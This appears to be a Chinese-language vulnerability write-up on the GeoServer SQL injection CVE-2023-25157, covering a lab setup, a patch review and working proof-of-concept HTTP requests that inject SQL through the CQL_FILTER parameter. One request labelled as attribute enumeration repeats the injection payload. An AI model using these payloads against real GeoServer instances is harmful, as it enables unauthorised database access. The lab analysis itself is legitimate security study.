GeoServer SQL 注入漏洞分析(CVE-2023-25157)

First Post:

Last Update:

Word Count:
1.5k

Read Time:
6 min

Page View: loading...

GeoServer SQL 注入漏洞分析(CVE-2023-25157)

一.GeoServer简介

GeoServer 是用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案,用于分发来自各种来源(如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集)的地理空间数据。

二.漏洞简述

在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

三.漏洞原理

由于系统未对用户输入进行过滤,远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析,从而实现SQL注入,成功利用此漏洞可获取敏感信息,甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中,则未使用外置数据库的场景不受此漏洞影响。

四.影响版本

GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现

clone项目:

sudo git clone https://github.com/vulhub/vulhub.git

Untitled 1.png

在/geoserver/CVE-2023-25157目录,用下面的命令下载并启动:

sudo docker-compose up -d

Untitled 2.png

Untitled 3.png

看到端口,这里是8080。

在浏览器上访问http://your-ip:8080/geoserver

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

Untitled 4.png

此时复现的系统版本为2.22.1

以下是采用官方给的文档搭建的环境

在这里使用 GeoServer 2.21.3,下载完成后解压:

1
unzip geoserver-2.21.3-bin.zip

进入到 geoserver-2.21.3-bin/bin 目录下,执行启动程序

1
sh startup.sh

Untitled 4.png

Untitled 5.png

使用 Docker 搭建 PostgreSQL

1
docker run -e POSTGRES_PASSWORD=password -d -p 5433:5432  postgres:latest

进入容器

Untitled 6.png

安装 postgis 拓展

1
2
3
apt search postgis

apt install postgis postgresql-14-postgis-3-scripts

Untitled 7.png

Untitled 8.png

postgresql-14-postgis-3-scripts 要根据你 PostgreSQL 来安装,本次使用到的 PostgreSQL 为 PostgreSQL 14.1

此时数据可参考官方文档:https://docs.geoserver.org/latest/en/user/gettingstarted/postgis-quickstart/index.html

编辑 startup.sh 启动脚本添加远程调试参数:

1
exec "${_RUNJAVA}" ${JAVA_OPTS:--DNoJavaOpts -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005} "${MARLIN_ENABLER:--DMarlinDisabled}" "${RENDERER:--DDefaultrenderer}" "-Djetty.base=${GEOSERVER_HOME}" "-DGEOSERVER_DATA_DIR=${GEOSERVER_DATA_DIR}" -Djava.awt.headless=true -DSTOP.PORT=8079 -DSTOP.KEY=geoserver -jar "${GEOSERVER_HOME}/start.jar"

至此环境搭建结束。

六.漏洞分析

这里采用vulnhub环境进行复现

为了正确利用这些漏洞,首先需要获得:

  1. 可用的功能名称
  2. 每个可用功能的可用属性

分别。因此,以下请求发送到目标服务器以获取可用的功能名称。

1
2
3
4
5
6
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

获取可用功能名称后,我们需要发送以下 HTTP 请求来获取相关可用功能的可用属性。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

枚举所有可用的功能名称以及与这些功能名称关联的属性名称。在此阶段之后,可以通过将 SQL 有效负载注入的恶意 HTTP 请求发送到服务器以获取任何获取的属性来执行利用过程。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

1利用前提
首先,在利用此漏洞之前,必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储:

工作区名称 vulhub
数据存储名称 pg
要素类型(表)名称 example
要素类型的属性之一 name
1
2
3
4
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate

构造payload/poc

http://192.168.126.128:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,’x’’) = true and 1=(SELECT CAST ((SELECT version()) AS integer)) – ‘) = true

Untitled 9.png

成功注入获取版本信息。

Untitled 10.png

使用wireshark抓包结果如下

Untitled 11.png

脚本演示

Untitled 12.png

Untitled 13.png

七.漏洞修复

目前 GeoServer 和 Geotools 官方均已发布修复版本,查看 GeoServer 官方提交的补丁,在 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 中添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties 模块用于配置文件 jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块属性字段并更改了构造函数以包含此属性字段。

Untitled 14.png

Untitled 15.png

还修改了

 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java 中的插入语法

Untitled 16.png

而在 GeoTools 提交的补丁,修改 

modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java 添加了EscapeSql 模块和 escapeBackslash 字段对 SQL 注入进行防御

Untitled 17.png

Untitled 18.png

Untitled 19.png

八.漏洞总结

总之,正如 CVE-2023-25157 所概述的那样,在 GeoServer 和 GeoTools 中发现这些 SQL 注入漏洞,清楚地提醒人们数字环境中始终存在的威胁。这些漏洞位于核心 OGC 筛选器和函数表达式中,可能导致重大中断和未经授权的数据访问或修改。

九.参考资料

https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158

https://docs.geoserver.org/latest/en/user/introduction/overview.html

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_geoserver最新版本_gaynell的博客-CSDN博客